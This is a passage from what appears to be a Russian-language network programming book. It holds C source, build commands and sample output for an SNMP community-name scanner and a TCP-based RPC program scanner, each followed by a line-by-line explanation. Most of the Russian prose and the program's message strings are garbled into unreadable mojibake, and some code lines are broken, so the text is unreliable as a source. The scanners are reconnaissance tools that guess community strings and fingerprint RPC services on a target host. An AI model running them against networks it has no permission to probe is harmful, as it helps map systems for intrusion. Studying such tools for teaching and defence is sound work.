199   sin.sin_port        = htons(port);
200   sin.sin_addr.s_addr = taddr;
201
202   ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));
203   if(ret < 0)
204   {
205     printf("îøèáêà connect().\n");
206     return(-1);
207   }
208
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209   return(sock);
210 }
211
212 /*
213  * scan()
214  *
215  *
216  */
217 int scan (char *targ, unsigned short port, char *cname)
218 {
219   int sock = 0;
220   int ret  = 0;
221
222   sock = makeudpsock(targ, port);
223   if(sock < 0)
224   {
225     printf("makeudpsocket() failed.\n");
226     return(-1);
227   }
228
229   ret = doreq(sock, cname);
230   if(ret < 0)
231   {
232     printf("îøèáêà doreq().\n");
233     return(-1);
234   }
235
236   ret = dores(sock);
237   if(ret < 0)
238   {
239     printf("îøèáêà dores().\n");
240     return(-1);
241   }
242
243   return(0);
244 }
245
246 /*
247  * usage()
248  *
249  *
250  */
251 void usage(char *prog)
252 {
253   printf("snmp1 00.00.01\r\n");
254   printf("usage  : %s -t target_ip <-p target_port> " \
255 " <-c community_name>\n", prog);

256   printf("ïðèìåð: %s -t 127.0.0.1 -p 161 -c public\n\n",
257  prog);
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258 }
259
260 int
261 main(int argc, char *argv[])
262 {
263   unsigned short port = SNMP1_DEF_PORT;
264   char *targ = NULL;
265   char *comn = SNMP1_DEF_COMN;
266   char ch = 0;
267   int  ret = 0;
268
269   opterr = 0;
270   while((ch = getopt(argc, argv, "t:p:c:")) != -1)
271   {
272     switch(ch)
273     {
274       case 't':
275
276         targ = optarg;
277         break;
278
279       case 'p':
280
281         port = atoi(optarg);
282         break;
283
284       case 'c':
285
286         comn = optarg;
287         break;
288
289       case '?':
290       default:
291
292         usage(argv[0]);
293         return(1);
294     }
295   }
296
297   if(targ == NULL)
298   {
299     usage(argv[0]);
300     return(1);
301   }
302
303   printf("çàäàíû: öåëü: %s; ïîðò: %d; " \
304          èìÿ ñîîáùåñòâà: \"%s\"\n", targ, port, comn);
305
306   ret = scan(targ, port, comn);

Сканирование сети с помощью UDP�сокетов
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307   if(ret < 0)
308   {
309     printf("îøèáêà scan().\n");
310     return(1);
311   }
312
313   printf("ñêàíèðîâàíèå çàâåðøåíî.\n");
314
315   return(0);
316 }

Компиляция
obsd32# gcc -o snmp1 snmp1.c

Пример исполнения
obsd32# ./snmp1 -t 192.168.100

çàäàíû: öåëü: 192.168.100; ïîðò: 161; èìÿ ñîîáùåñòâà: "public"

30 29 02 01 00 04 06 70 75 62 6C 69 63 A0 1C 02 0).....public ..
04 7E 16 A2 5E 02 01 00 02 01 00 30 0E 30 0C 06 .~.C^......0.0..
08 2B 06 01 02 01 01 05 00 05 00                  .+........

30 2F 02 01 00 04 06 70 75 62 6C 69 63 A2 22 02 0).....publicC".
04 7E 16 A2 5E 02 01 00 02 01 00 30 0E 30 0C 06 .~.C^......0.0..
08 2B 06 01 02 01 01 05 00 04 06 68 70 31 37 30 .+.........hp170
30                                              0
ñêàíèðîâàíèå çàâåðøåíî

obsd32# ./snmp1 -t 192.168.100 -c internal

çàäàíû: öåëü: 192.168.100; ïîðò: 161; èìÿ ñîîáùåñòâà: "internal"

30 2B 02 01 00 04 08 69 6E 74 65 72 6E 61 6C 10 0+.....internal
1C 02 04 7E 16 A2 5E 02 01 00 02 01 00 30 0E 30 ...~.C^......0.0
0C 06 08 2B 06 01 02 01 01 05 00 05 00          ...+.........

30 31 02 01 00 04 08 69 6E 74 65 72 6E 61 6C A2 01.....internalC
22 02 04 7E 16 A2 5E 02 01 00 02 01 00 30 14 30 "..~.C^......0.0
12 06 08 2B 06 01 02 01 01 05 00 04 06 68 70 31 ...+.........hp1
37 30 30                                        700
ñêàíèðîâàíèå çàâåðøåíî

Ïðîãðàììå snmð1.c ïåðåäàþòñÿ â êîìàíäíîé ñòðîêå IP-àäðåñ è ïîðò öåëè,
à òàêæå èìÿ ñîîáùåñòâà. Ýòè çíà÷åíèÿ ïîìåùàþòñÿ â ïðîòîêîëüíóþ åäèíèöó
îáìåíà (Protocol Data Unit – PDU) GetRequest â ôîðìàòå SNMPv1, êîòîðàÿ äà-
ëåå èíêàïñóëèðóåòñÿ â UDP-äàòàãðàììó è îòïðàâëÿåòñÿ öåëåâîìó IP-àäðåñó.
Çàòåì ïðîãðàììà æäåò îòâåòà GetResponse. Åñëè îòâåò ïîëó÷åí, îí ôîðìàòèðó-
åòñÿ è ïå÷àòàåòñÿ íà ñòàíäàðòíûé âûâîä.
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Анализ

� Â ñòðîêàõ 8–16 âêëþ÷àþòñÿ íåîáõîäèìûå çàãîëîâî÷íûå ôàéëû;
� Â ñòðîêàõ 18 è 19 çàäàþòñÿ íîìåð UDP-ïîðòà ïî óìîë÷àíèþ (161) è

ñòàíäàðòíîå  èìÿ SNMP-ñîîáùåñòâà (publ ic);
� Â ñòðîêàõ 23–75 îïðåäåëÿåòñÿ ôóíêöèÿ hexdisp(), êîòîðàÿ ïðèíèìàåò äâà

ïàðàìåòðà: óêàçàòåëü íà ìàññèâ ñèìâîëîâ è äëèíó ýòîãî ìàññèâà â áàé-
òàõ. Ýòà ôóíêöèÿ ôîðìàòèðóåò íàõîäÿùèåñÿ â óêàçàííîì ìàññèâå ñèì-
âîëû, ïðåäñòàâëÿÿ èõ â ÷èòàåìîì âèäå, è âûâîäèò ðåçóëüòàò íà ïå÷àòü.
Ôîðìàò àíàëîãè÷åí ïðèíÿòîìó â ïðîãðàììå tcpdump, êîãäà îíà âûçûâà-
åòñÿ ñ ôëàãîì –X;

� Â ñòðîêàõ 83–87 îïðåäåëÿþòñÿ ôðàãìåíòû SNMP-çàïðîñà GetRequest.
Âïîñëåäñòâèè çíà÷åíèå  SNMP1_PDU_HEAD áóäåò ïîìåùåíî â íà÷à-
ëî áóôåðà ñîîáùåíèÿ, çà íèì – èìÿ ñîîáùåñòâà è â êîíöå – çíà÷åíèå
SNMP1_PDU_TAIL. Â ñîâîêóïíîñòè ýòè òðè ÷àñòè ñîñòàâëÿþò ïîëíûé
SNMP-çàïðîñ GetRequest;

� Â ñòðîêàõ 89–115 îïðåäåëåíà ôóíêöèÿ makegetreq(). Îíà îòâå÷àåò çà êîí-
ñòðóèðîâàíèå çàïðîñà GetRequest è ðàçìåùåíèå åãî â ïðåäîñòàâëåííîì
áóôåðå. Ïåðâûé åå ïàðàìåòð – óêàçàòåëü íà áóôåð, ïðåäñòàâëÿþùèé ñî-
áîé ìàññèâ ñèìâîëîâ, âòîðîé – öåëîå ÷èñëî, ðàâíîå äëèíå áóôåðà
â áàéòàõ, òðåòèé – óêàçàòåëü íà öåëîå ÷èñëî, â êîòîðîå áóäåò ïîìåùåíà
äëèíà ñôîðìèðîâàííîãî çàïðîñà. ×åòâåðòûé ïàðàìåòð – ýòî èìÿ SNMP-
ñîîáùåñòâà. Ñîçäàííûé çàïðîñ òðåáóåò îò óäàëåííîãî õîñòà, ÷òîáû òîò
âåðíóë çíà÷åíèå ïàðàìåòðà system.sys.Name.0 èç áàçû óïðàâëÿþùåé èí-
ôîðìàöèè MIB-II, ÿâëÿþùåéñÿ ÷àñòüþ ïðîòîêîëà SNMP. Â ýòîì ïàðà-
ìåòðå õðàíèòñÿ èìÿ öåëåâîãî õîñòà;

� Â ñòðîêå 105 ôóíêöèÿ makegetreq() êîïèðóåò çíà÷åíèå SNMP1_PDU_HEAD
â íà÷àëî áóôåðà;

� Â ñòðîêå 106 â áóôåðå ïîñëå SNMP1_PDU_HEAD äîïèñûâàåòñÿ óêàçàí-
íîå èìÿ ñîîáùåñòâà;

� Â ñòðîêå 107 âñëåä çà èìåíåì ñîîáùåñòâà äîïèñûâàåòñÿ çíà÷åíèå
SNMP1_PDU_TAIL;

� Â ñòðîêå 109 ôóíêöèÿ makegetreq() çàïèñûâàåò âî âòîðîé áàéò áóôåðà
çíà÷åíèå äëèíû èìåíè SNMP-ñîîáùåñòâà ïëþñ 35. Ýòî äèêòóåòñÿ ïðà-
âèëàìè ôîðìàòèðîâàíèÿ çàïðîñà GetRequest;

� Â ñòðîêå 110 äëèíà èìåíè SNMP-ñîîáùåñòâà çàïèñûâàåòñÿ â áàéò, ñëå-
äóþùèé çà SNMP1_PDU_HEAD, íî ïðåäøåñòâóþùèé ñàìîìó èìåíè;

� Â ñòðîêå 112 ïîëíàÿ äëèíà âñåãî ñîçäàííîãî çàïðîñà ñîõðàíÿåòñÿ â ïà-
ðàìåòðå olen;

� Â ñòðîêå 114 ôóíêöèÿ âîçâðàùàåò êîä óñïåøíîãî çàâåðøåíèÿ. Â ýòîò
ìîìåíò çàïðîñ GetRequest ïîñòðîåí â ïðåäîñòàâëåííîì áóôåðå;

Сканирование сети с помощью UDP�сокетов
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� Â ñòðîêàõ 122–127 îïðåäåëåíà ôóíêöèÿ dores(). Îíà ïðèíèìàåò SNMP-
îòâåò GetResponse îò óäàëåííîãî õîñòà, êîòîðîìó áûë îòïðàâëåí çàïðîñ.
Äëÿ ýòîé öåëè âûçûâàåòñÿ ôóíêöèÿ recvfrom(). Åñëè îòâåò ïîëó÷åí, òî
äàííûå ïåðåäàþòñÿ ôóíêöèè hexdump() äëÿ ôîðìàòèðîâàíèÿ è ïå÷àòè;

� Â ñòðîêàõ 144–167 îïðåäåëåíà ôóíêöèÿ doreq(). Îíà ïðèíèìàåò ïîñòðî-
åííûé SNMP-çàïðîñ GetRequest è ïåðåäàåò åãî ôóíêöèè hexdump() äëÿ
ôîðìàòèðîâàíèÿ è ïå÷àòè, à çàòåì ïîñûëàåò çàïðîñ ïî óêàçàííîìó IP-
àäðåñó â óêàçàííûé ïîðò. Äëÿ ýòîãî âûçûâàåòñÿ ôóíêöèÿ send();

� Â ñòðîêàõ 174–209 îïðåäåëåíà ôóíêöèÿ makeudpsock(). Îíà ïðåîáðàçóåò
çàäàííûé IP-àäðåñ èç òî÷å÷íî-äåñÿòè÷íîé íîòàöèè â áåççíàêîâîå öåëîå
÷èñëî. Çàòåì ñ ïîìîùüþ ôóíêöèè socket() ñîçäàåòñÿ ñîêåò, ïðèãîäíûé
äëÿ îòïðàâêè è ïðèåìà UDP-äàòàãðàìì. Ïîëó÷åííûé äåñêðèïòîð àññîöèè-
ðóåòñÿ ñ öåëåâûì IP-àäðåñîì è ïîðòîì ñ ïîìîùüþ ôóíêöèè connect().
Åñëè âñå îïåðàöèè çàâåðøèëèñü óñïåøíî, òî makeudpsock() âîçâðàùàåò
êîððåêòíûé äåñêðèïòîð ñîêåòà, â ïðîòèâíîì ñëó÷àå – îòðèöàòåëüíîå
÷èñëî;

� Â ñòðîêàõ 216–243 îïðåäåëåíà ôóíêöèÿ scan(). Îíà ñíà÷àëà âûçûâàåò
makeudpsock() äëÿ ñîçäàíèÿ ñîêåòà. Çàòåì äåñêðèïòîð ñîçäàííîãî ñîêåòà
ïåðåäàåòñÿ ôóíêöèè doreq(), êîòîðàÿ ñîçäàåò çàïðîñ GetRequest è îò-
ïðàâëÿåò åãî öåëåâîìó õîñòó. Ïîñëå ýòîãî äëÿ ïðèåìà îòâåòà âûçûâàåò-
ñÿ dores(). Åñëè íå ïðîèçîøëî íèêàêèõ îøèáîê, òî scan() âîçâðàùàåò 0,
â ïðîòèâíîì ñëó÷àå – îòðèöàòåëüíîå ÷èñëî;

� Â ñòðîêàõ 250–257 îïðåäåëåíà ôóíêöèÿ usage(), êîòîðàÿ ïå÷àòàåò èí-
ôîðìàöèþ î ïîðÿäêå çàïóñêà ïðîãðàììû snmp1;

� Â ñòðîêàõ 260–316 îïðåäåëåíà ôóíêöèÿ main(). Ýòî ãëàâíàÿ òî÷êà âõîäà
â ïðîãðàììó. Îíà îáðàáàòûâàåò àðãóìåíòû, çàäàííûå â êîìàíäíîé
ñòðîêå è âûçûâàåò scan() äëÿ âûïîëíåíèÿ ñêàíèðîâàíèÿ.

Сканирование сети
с помощью TCP�сокетов
Â ýòîì ðàçäåëå ìû ðàññìîòðèì ïîëíóþ ïðîãðàììó, êîòîðàÿ èñïîëüçóåò ïðî-
òîêîë TCP è API ñîêåòîâ äëÿ èäåíòèôèêàöèè íîìåðîâ ïðîãðàìì, ðåàëèçóþ-
ùèõ óäàëåííûå âûçîâû ïðîöåäóð (RPC – Remote Procedure Call). Â íåé ïðèìå-
íÿåòñÿ ìåòîä, èçâåñòíûé ïîä íàçâàíèåì «ñêàíèðîâàíèå ñ ïîìîùüþ ïîïûòêè
ñîåäèíåíèÿ ïî ïðîòîêîëó TCP», ñìûñë êîòîðîãî â îáíàðóæåíèè îòêðûòûõ
TCP-ïîðòîâ íà óäàëåííîì õîñòå. Îáíàðóæèâ ïîðò, ïðîãðàììà ïûòàåòñÿ îïðå-
äåëèòü, êàêàÿ RPC-ïðîãðàììà åãî èñïîëüçóåò. Ñ ïîìîùüþ ïîäîáíîé óòèëèòû
ìîæíî âûÿñíèòü, íà êàêîì TCP-ïîðòó ðàáîòàåò ñëóæáà RPC, åñëè ïðÿìîé äîñ-
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òóï ê ïîðòó 111, çàðåçåðâèðîâàííîìó äëÿ ñëóæáû îòîáðàæåíèÿ ïîðòîâ (RPC
portmapper), çàêðûò.

Ïðîòîêîë RPC ïîçâîëÿåò ðàçäåëèòü ôóíêöèîíàëüíîñòü ïðîãðàììû íà ÷àñ-
òè, èñïîëíÿåìûå íà ðàçëè÷íûõ êîìïüþòåðàõ. Êëèåíòñêàÿ ïðîãðàììà îáðàùà-
åòñÿ ê RPC, äëÿ òîãî ÷òîáû ïåðåäàòü ïàðàìåòðû ôóíêöèè, ðàáîòàþùåé íà
óäàëåííîé ìàøèíå. Óäàëåííàÿ ìàøèíà ïîëó÷àåò ýòè ïàðàìåòðû, âûçûâàåò
çàïðîøåííóþ ôóíêöèþ è âîçâðàùàåò ïîëó÷åííûå îò íåå äàííûå ïî ñåòè
ìàøèíå-îòïðàâèòåëþ, à òà ïåðåäàåò ðåçóëüòàòû âûçîâà óäàëåííîé ôóíêöèè
êëèåíòñêîé ïðîãðàììå.

×àñòè ïðîãðàììû, èñïîëüçóþùåé RPC, ðàáîòàþò íà ðàçíûõ ìàøèíàõ. Âî
âðåìÿ çàïóñêà îíà ðåãèñòðèðóåò ñâîé íîìåð â ñëóæáå îòîáðàæåíèÿ ïîðòîâ íà
óäàëåííîì õîñòå. Ýòà ñëóæáà ïðîñëóøèâàåò TCP è UDP-ïîðò ñ íîìåðîì 111.
Óäàëåííûé õîñò ìîæåò ñîîáùèòü ñëóæáå îòîáðàæåíèÿ ïîðòîâ íà äðóãîì õîñ-
òå íîìåð êîíêðåòíîé ïðîãðàììû è ïîëó÷èòü â îòâåò íîìåð TCP è UDP-ïîðòà,
íà êîòîðîì ýòà ïðîãðàììà îæèäàåò ïîñòóïëåíèÿ çàïðîñîâ. Ýòî ñòàíäàðòíûé
ñïîñîá îáíàðóæåíèÿ RPC-ïðîãðàìì.

Èíîãäà ñëóæáà îòîáðàæåíèÿ ïîðòîâ íåäîñòóïíà èëè äîñòóï ê íåé çàêðûò
ìåæñåòåâûì ýêðàíîì, ïîýòîìó ñ åå ïîìîùüþ óçíàòü, ãäå èñêàòü íóæíóþ
RPC-ïðîãðàììó, íåâîçìîæíî. Òóò-òî è ïðèõîäÿò íà ïîìîùü óòèëèòû òèïà
íàøåé ïðîãðàììû rpc1, êîòîðûå ïîçâîëÿþò âûÿñíèòü íîìåð RPC-ïðîãðàì-
ìû ïóòåì èññëåäîâàíèÿ îòêðûòûõ TCP-ïîðòîâ áåç îáðàùåíèÿ ê ñëóæáå îòî-
áðàæåíèÿ ïîðòîâ.

Äëÿ ýòîãî ìû ïîñûëàåì ïîñëåäîâàòåëüíîñòü RPC-çàïðîñîâ â ïðîèçâîëü-
íûé TCP-ïîðò. Â êàæäîì çàïðîñå äîëæåí áûòü óêàçàí íîìåð ïðîãðàììû. Åñëè
ýòîò íîìåð íå ñîîòâåòñòâóåò íîìåðó ïðîãðàììû, ïðîñëóøèâàþùåé äàííûé
ïîðò, òî áóäåò âîçâðàùåí êîä îøèáêè, ãîâîðÿùèé î òîì, ÷òî íîìåð ïðî-
ãðàììû çàäàí íåâåðíî. Åñëè æå íîìåðà ñîâïàäàþò, òî ìû íå ïîëó÷èì êîäà
îøèáêè, è, çíà÷èò, íîìåð ïðîãðàììû ìîæíî ñ÷èòàòü óñòàíîâëåííûì. Â ïðè-
ìåðå 3.10 ïîêàçàíî, êàê ñ ïîìîùüþ ñîêåòîâ ðåàëèçîâàòü òàêîé òèï ñêàíèðî-
âàíèÿ è èäåíòèôèöèðîâàòü íîìåðà RPC-ïðîãðàìì.

Пример 3.10. Пример 3.10. Пример 3.10. Пример 3.10. Пример 3.10. Сканер RPC*программ (rpc1.c)
 1 /*

 2  * rpc1.c

 3  *

 4  * Ñêàíåð RPC-ïðîãðàìì íà îñíîâå TCP. Ïðèìåð #1.

 5  *

 6  *

 7  * foster <jamescfoster@gmail.com>

 8  */

 9
10 #include <stdio.h>

11 #include <unistd.h>

Сканирование сети с помощью ТСР�сокетов
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12 #include <signal.h>

13
14 #include <sys/socket.h>

15 #include <netinet/in.h>

16 #include <arpa/inet.h>

17
18 #define RPC1_BUF_SIZE 0x0400

19 #define RPC1_DEF_CTO_SEC 0x0005

20 #define RPC1_DEF_RTO_SEC 0x0005

21
22 /*

23  * íîìåðà ïðîãðàìì

24  */

25 unsigned int progid[] =

26 {

27   0x000186A0, 0x000186A1, 0x000186A2, 0x000186A3,

28   0x000186A4, 0x000186A5, 0x000186A6, 0x000186A7,

29   0x000186A8, 0x000186A9, 0x000186AA, 0x000186AB,

30   0x000186AC, 0x000186AD, 0x000186AE, 0x000186AF,

31   0x000186B1, 0x000186B2, 0x000186B3, 0x000186B4,

32   0x000186B5, 0x000186B6, 0x000186B7, 0x000186B8,

33   0x000186B9, 0x000186BA, 0x000186BB, 0x000186BC,

34   0x000186BD, 0x000186C5, 0x000186C6, 0x000186E4,

35   0x000186F3, 0x0001877D, 0x00018788, 0x0001878A,

36   0x0001878B, 0x00018799, 0x000249F1, 0x000493F3,

37   0x00049636, 0x30000000, 0x00000000

38 };

39
40 /*

41  * hexdisp()

42  *

43  *

44  */

45 void hexdisp (char *buf, int len)

46 {

47   char tmp[16];

48   int  x = 0;

49   int  y = 0;

50
51   for(x=0; x < len; ++x)

52   {

53     tmp[x % 16] = buf[x];

54
55     if((x + 1) % 16 == 0)

56     {

57       for(y=0; y < 16; ++y)

58       {

59         printf("%02X ", tmp[y] & 0xFF);

60       }
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 61
 62      for(y=0; y < 16; ++y)
 63      {
 64        printf("%c", isprint(tmp[y])? tmp[y] : '.');
 65
 66     }
 67      printf("\n");
 68    }
 69  }
 70
 71  if((x % 16) != 0)
 72  {
 73    for(y=0; y < (x % 16); ++y)
 74    {
 75      printf("%02X ", tmp[y] & 0xFF);
 76    }
 77
 78    for(y=(x % 16); y < 16      ; ++y)
 79    {
 80      printf("   ");
 81    }
 82
 83    for(y=0; y < (x % 16); ++y)
 84    {
 85      printf("%c", isprint(tmp[y]) ? tmp[y] : '.');
 86    }
 87  }
 88
 89  printf("\n\n");
 90}
 91
 92/*
 93 * rpcidport()
 94 *
 95 *
 96 */
 97
 98 #define RPC1_ID_HEAD "\x80\x00\x00\x28\x00\x00\x00\x12" \
 99                      "\x00\x00\x00\x00\x00\x00\x00\x02"
100 #define RPC1_ID_TAIL "\x00\x00\x00\x00\x00\x00\x00\x00" \
101                      "\x00\x00\x00\x00\x00\x00\x00\x00" \
102                      "\x00\x00\x00\x00\x00\x00\x00\x00"
103
104 int rpcidport (int sock, unsigned int *id, int verb)
105 {
106  unsigned int cur = 0;
107  char buf[RPC1_BUF_SIZE];
108  int hlen = sizeof(RPC1_ID_HEAD) – 1;
109  int tlen = sizeof(RPC1_ID_TAIL) – 1;
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110  int clen = sizeof(unsigned int);
111  int len  = hlen + clen + tlen;
112  int ret  = 0;
113  int x    = 0;
114
115  for(x=0; progid[x] != 0x00000000; ++x)
116  {
117    cur = htonl(progid[x]);
118
119    memset(buf, 0x00, RPC1_BUF_SIZE);
120
121    memcpy(buf, RPC1_ID_HEAD, hlen);
122    memcpy(buf + hlen, &cur, clen);
123    memcpy(buf + hlen + clen, RPC1_ID_TAIL, tlen);
124
125    ret = send(sock, buf, len, 0);
126    if(ret != len)
127    {
128      if(verb)
129      {
130        printf("îøèáêà send().\n");
131      }
132      return(-1);
133    }
134
135    ret = recv(sock, buf, RPC1_BUF_SIZE, 0);
136    if(ret >= 28)
137    {
138      if(buf[0x04] == 0x00 &&
139         buf[0x05] == 0x00 &&
140         buf[0x06] == 0x00 &&
141         buf[0x07] == 0x12 &&
142         buf[0x0B] == 0x01 &&
143         buf[0x1B] != 0x01)
144      {
145        *id = progid[x];
146        return(0);
147      }
148    }
149    else
150    {
151      // íåîæèäàííûé îòâåò, âåðîÿòíî, íå RPC-ïðîãðàììà
152      // âûõîäèì èç ôóíêöèè...
153      return(0);
154    }
155  }
156
157  return(0);
158 }
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159
160 /*
161  * makesock()
162  *
163  *
164  */
165 int makesock(unsigned int taddr, unsigned short port,
166 unsigned int cto_sec, long rto_sec, int verb)

167 {
168   struct sockaddr_in sin;
169   struct timeval tv;
170   int sock = 0;
171   int ret = 0;
172
173   sock = socket(AF_INET, SOCK_STREAM, 0);
174   if(sock < 0)
175   {
176     if(verb)
177     {
178       printf("îøèáêà socket().\n");
179     }
180     return(-1);
181   }
182
183   memset(&sin, 0x00, sizeof(sin));
184
185   sin.sin_family      = AF_INET;
186   sin.sin_port        = htons(port);
187   sin.sin_addr.s_addr = taddr;
188
189   alarm(cto_sec);
190   ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));
191   alarm(0);
192   if(ret < 0)
193   {
194     close (sock);
195     if(verb)
196     {
197       printf("îøèáêà connect () %d.%d.%d.%d:%d.\n",
198              (taddr >> 0x00) & 0xFF, (taddr >> 0x08) & 0xFF,
199              (taddr >> 0x10) & 0xFF, (taddr >> 0x18) & 0xFF,
200              port);
201     }
202     return(-1);
203   }
204
205   memset(&tv, 0x00, sizeof(tv));
206
207   tv.tv_sec = rto_sec;
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208
209   ret = setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv,
210 sizeof(tv));

211   if(ret < 0)
212   {
213     close(sock);
214     if(verb)
215     {
216       printf("îøèáêà setsockopt().\n");
217     }
218     return(-1);
219   }
220
221   return(sock);
222 }
223
224 /*
225  * rpcid()
226  *
227  *
228  */
229 int rpcid (unsigned int taddr, unsigned short port,
230            unsigned int cto_sec, long rto_sec, int verb)
231 {
232   unsigned int id = 0;
233   int sock = 0;
234   int ret  = 0;
235
236   sock = makesock(taddr, port, cto_sec, rto_sec, verb);
237   if(sock < 0)
238   {
239     if(verb)
240     {
241       printf("îøèáêà makesock ().\n");
242     }
243     return(0);
244   }
245
246   ret = rpcidport(sock, &id, verb);
247   if(ret < 0)
248   {
249     close(sock);
250     if(verb)
251     {
252       printf("îøèáêà rpcidport() @ %d.%d.%d.%d:%d\n",
253              (taddr >> 0x00) & 0xFF, (taddr >> 0x08) & 0xFF,
254              (taddr >> 0x10) & 0xFF, (taddr >> 0x18) & 0xFF,
255              port);
256     }
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257     return(0);
258   }
259
260   close(sock);
261
262   if(id != 0)
263   {
264     printf("RPC %d [%08X] @ %d.%d.%d.%d:%d\n", id, id,
265            (taddr >> 0x00) & 0xFF, (taddr >> 0x08) & 0xFF,
266            (taddr >> 0x10) & 0xFF, (taddr >> 0x18) & 0xFF,
267            port);
268   }
269
270   return(0);
271 }
272
273 /*
274  * scan()
275  *
276  *
277  */
278 int scan (char *targ, unsigned short lport,
279           unsigned short hport, unsigned int cto_sec,
280           long rto_sec, int verb)
281 {
282   unsigned int taddr = 0;
283   int ret = 0;
284
285   taddr = inet_addr(targ);
286   if(taddr == INADDR_NONE)
287   {
288     if(verb)
289     {
290       printf("îøèáêà inet_addr().\n");
291     }
292     return(-1);
293   }
294
295   while(lport <= hport)
296   {
297     ret = rpcid(taddr, lport, cto_sec, rto_sec, verb);
298     if(ret < 0)
299     {
300       if(verb)
301       {
302         printf("rpcid() failed.\n");
303       }
304       return(-1);
305     }
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306
307     ++lport;
308   }
309
310   return(0);
311 }
312
313 /*
314  * parse()
315  *
316  *
317  */
318 int parse (char *sprt, unsigned short *lport,
319            unsigned short *hport)
320 {
321   char *tmp = NULL;
322
323   tmp = (char *) strchr(sprt, '-');
324   if(tmp == NULL)
325   {
326    *hport =
327    *lport = (unsigned short) atoi(sprt);
328   }
329   else
330   {
331     *tmp = '\0';
332     *lport = (unsigned short) atoi(sprt);
333     ++tmp;
334     *hport = (unsigned short) atoi(tmp );
335   }
336
337   if(*lport  == 0 ||
338      *hport  == 0 ||
339      (*lport > *hport))
340   {
341     return(-1);
342   }
343
344   return(0);
345 }
346
347 /*
348  * sighandler()
349  *
350  *
351  */
352 void sighandler (int sig)
353 {
354 }
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355
356 /*
357  * usage()
358  *
359  *
360  */
361 void usage(char *prog)
362 {
363   printf("rpc1 00.00.01\n");
364   printf("usage: %s -t target_ip -p port_range\n", prog);
365   printf("ïðèìåð: %s -t 127.0.0.1 -p 1-1024\n\n"  , prog);
366 }
367
368 int
369 main(int argc, char *argv[])
370 {
371   unsigned short lport = 0;
372   unsigned short hport = 0;
373   unsigned int cto_sec = RPC1_DEF_CTO_SEC;
374   char *targ   = NULL;
375   char *sprt   = NULL;
376   char *tmp    = NULL;
377   char ch      = 0;
378   long rto_sec = RPC1_DEF_RTO_SEC;
379   int  verb    = 0;
380   int  ret     = 0;
381
382   signal(SIGALRM, sighandler);
383   signal(SIGPIPE, sighandler);
384
385   opterr = 0;
386   while((ch = getopt(argc, argv, "t:p:c:r:v")) != -1)
387   {
388     switch(ch)
389     {
390       case 't':
391         targ = optarg;
392         break;
393       case 'p':
394         sprt = optarg;
395         break;
396       case 'c':
397         cto_sec = (unsigned int) atoi(optarg);
398         break;
399       case 'r':
400         rto_sec = (long) atoi(optarg);
401         break;
402       case 'v':
403         verb = 1;
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404         break;
405       case '?':
406       default:
407         usage(argv[0]);
408         return(1);
409     }
410   }
411
412   if(targ == NULL ||
413      sprt == NULL)
414   {
415     usage(argv[0]);
416     return(1);
417   }
418
419   ret = parse(sprt, &lport, &hport);
420   if(ret < 0)
421   {
422     printf("îøèáêà parse().\n");
423     return(1);
424   }
425
426   printf("\nçàäàíî: öåëü: %s; lport: %d; hport: %d\n\n",
427          targ, lport, hport);
428
429   ret = scan(targ, lport, hport, cto_sec, rto_sec, verb);
430   if(ret < 0)
431   {
432     printf("îøèáêà scan().\n");
433     return(1);
434   }
435
436   printf("ñêàíèðîâàíèå çàâåðøåíî.\n");
437
438   return(0);
439 }

Компиляция
obsd32# gcc -o rpc1 rpc1.c

Пример исполнения
obsd32# ./rpc1
rpc1 00.00.01
usage: ./rpc1 -t target_ip -p port_range
ïðèìåð: ./rpc1 -t 127.0.0.1 -p 1-1024

obsd32# ./rpc1 -t 10.0.8.16 -p 32770-32780
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çàäàíî: öåëü: 10.0.8.16 lport: 32770l hport: 32780

RPC 100024 [00186B8] @ 10.0.8.16:32771
RPC 100024 [00186A2] @ 10.0.8.16:32772
RPC 100024 [001877D] @ 10.0.8.16:32773
RPC 100024 [00186F3] @ 10.0.8.16:32775
RPC 100024 [0049636] @ 10.0.8.16:32776
RPC 100024 [0018799] @ 10.0.8.16:32775
ñêàíèðîâàíèå çàâåðøåíî.

Ïðîãðàììà rpc1.c ïðèíèìàåò IP-àäðåñ öåëåâîãî õîñòà, íà÷àëüíûé è êîíå÷-
íûé íîìåðà ïîðòîâ, âåëè÷èíó òàéìàóòà connect() â ñåêóíäàõ, âåëè÷èíó òàéìàó-
òà recv() è ôëàã âûäà÷è ïîäðîáíîé äèàãíîñòèêè. Â ïðîöåññå ðàáîòû îíà ïûòà-
åòñÿ îòêðûòü TCP-ïîðòû èç çàäàííîãî äèàïàçîíà. Äëÿ êàæäîãî îáíàðóæåí-
íîãî îòêðûòîãî ïîðòà âûïîëíÿåòñÿ îïåðàöèÿ RPC ñ öåëüþ îïðåäåëèòü íîìåð
ïðîãðàììû. Åñëè ýòî óäàåòñÿ, òî íîìåð ïîðòà è ñîîòâåòñòâóþùèé åìó íîìåð
ïðîãðàììû âûâîäÿòñÿ íà ñòàíäàðòíûé âûâîä.

Анализ

� Â ñòðîêàõ 9–15 âêëþ÷àþòñÿ íåîáõîäèìûå çàãîëîâî÷íûå ôàéëû.
� Â ñòðîêàõ 17–19 îïðåäåëÿþòñÿ íåñêîëüêî êîíñòàíò. Êîíñòàíòà

RPC1_CTO_TO çàäàåò âåëè÷èíó òàéìàóòà connect() â ñåêóíäàõ, à êîíñòàí-
òà RPC1_RTO_TO – âåëè÷èíó òàéìàóòà recv(), òîæå â ñåêóíäàõ.

� Â ñòðîêàõ 24–27 îáúÿâëåí ìàññèâ áåççíàêîâûõ öåëûõ ÷èñåë. Ýòî íîìåðà
èçâåñòíûõ RPC-ïðîãðàìì, êîòîðûå ìû ïûòàåìñÿ îáíàðóæèòü. Êàæäûé
èç ýòèõ íîìåðîâ ïîñëåäîâàòåëüíî ïîñûëàåòñÿ ñëóæáå RPC. Åñëè êàêîé-
ëèáî èç íîìåðîâ ñîâïàäåò ñ çàðåãèñòðèðîâàííûì â ýòîé ñëóæáå, ìîæíî
ñ÷èòàòü, ÷òî ïðîãðàììà èäåíòèôèöèðîâàíà. Äëÿ óâåëè÷åíèÿ ÷èñëà èäåí-
òèôèöèðóåìûõ ïðîãðàìì ñëåäóåò äîáàâèòü èõ íîìåðà â ýòîò ìàññèâ.

� Â ñòðîêàõ 44–89 îïðåäåëåíà ôóíêöèÿ hexdisp(), êîòîðàÿ ïðèíèìàåò äâà
ïàðàìåòðà: óêàçàòåëü íà ìàññèâ ñèìâîëîâ è äëèíó ýòîãî ìàññèâà â áàé-
